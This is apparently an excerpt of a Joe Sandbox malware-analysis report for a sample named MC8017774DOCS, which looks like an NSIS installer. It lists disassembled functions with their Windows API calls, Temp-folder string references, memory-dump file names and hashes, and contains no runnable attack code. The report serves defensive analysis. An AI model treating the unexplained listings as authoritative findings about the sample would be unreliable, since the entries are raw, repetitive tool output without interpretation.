Opcode ID: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction ID: 9b62f472eb3a95df078ad497759be9c31f6c15c11f60cf08f6005a6c9cb4e6e4
Opcode Fuzzy Hash: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction Fuzzy Hash: 9921BFB1C00128BBCF116FA5DE49D9E7E79EF09364F14423AF960762E0CB794C419B98

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 004025E1
C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nse865B.tmp$C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll
API String ID: 3109718747-1633066113
Opcode ID: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction ID: 4bb1670e371a3de23f361dcee459543bcfcf4636ee0f51b5b5a9e7d0ab821041
Opcode Fuzzy Hash: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction Fuzzy Hash: DB11CB72A05300BEDB046FB18E8999F7664AF54399F20843FF502F61D1D9FC89415B5E

Function 6E9B18DD Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6E9B193E
GlobalFree.KERNEL32(?), ref: 6E9B1ADE
GlobalFree.KERNEL32(?), ref: 6E9B1AE3

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 86a42715d581dd2618a3822b7be8c190e3796e442de30ad97d47c658b4801efa
Instruction ID: d9200f89b4b60b30db2316c2f2c6ddc7779ed3c3c3a6d81c93a0bd710b1c4e20
Opcode Fuzzy Hash: 86a42715d581dd2618a3822b7be8c190e3796e442de30ad97d47c658b4801efa
Instruction Fuzzy Hash: BE51B132D1415ABB8B409FEB84845AFBABDEF87354B104A6AD410E3144D7B0FAC98F91

Function 6E9B2398 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6E9B24DA

Part of subcall function 6E9B122C: lstrcpynW.KERNEL32(00000000,?,6E9B12DF,00000019,6E9B11BE,-000000A0), ref: 6E9B123C

GlobalAlloc.KERNEL32(00000040), ref: 6E9B2460
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6E9B247B

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 0a8690227c30689cc096dd70265e469136aa73573eefc256aa48c5c85856e9e2
Instruction ID: cd472a0b2eaec2e3e7f1a7c7f5d9ac9a35b025742189d03f2547b087b4cabcb5
Opcode Fuzzy Hash: 0a8690227c30689cc096dd70265e469136aa73573eefc256aa48c5c85856e9e2
Instruction Fuzzy Hash: D441AAB0408705EFD714DFA6D844A6B77BDEF96714B00491DE946CBA80EB70E889CFA1

Function 6E9B1621 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6E9B21F0,?,00000808), ref: 6E9B1639
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6E9B21F0,?,00000808), ref: 6E9B1640
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6E9B21F0,?,00000808), ref: 6E9B1654
GetProcAddress.KERNEL32(6E9B21F0,00000000), ref: 6E9B165B
GlobalFree.KERNEL32(00000000), ref: 6E9B1664

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: d23ca7fa27f7e4b64cac69f55150a959310bc0c86dfd521bb9f3063d505455b4
Instruction ID: 40249aae6d1250208a1ab7ab97c0a04f9bc565d328a9e4db45fa64f1e76fe95e
Opcode Fuzzy Hash: d23ca7fa27f7e4b64cac69f55150a959310bc0c86dfd521bb9f3063d505455b4
Instruction Fuzzy Hash: B3F0ACB260A5387BDA2196B78C4CC9BBE9CDF8B6F5B110215F6289219086A19D01DBF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00405C17 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405C25
CharNextW.USER32(00000000), ref: 00405C2A
CharNextW.USER32(00000000), ref: 00405C42

Strings

C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 00405C18

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nse865B.tmp
API String ID: 3213498283-2695492296
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 00405B6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 00405B72
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 00405B7C
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405B8E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B6C

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 803477e47080facc391f0cecd2807ccdb00b9d1fdb40608b9d44cb66137c19bb
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: 3BD0A731501A30AAC111BB449D04DDF72ACDE45304342047FF101B31A2C7BC2D5287FD

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405CCD
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420), ref: 00405CDD

Strings

C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 00405C7A, 00405C7F, 00405C85, 00405CC6, 00405CCC, 00405CD4, 00405CDC

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
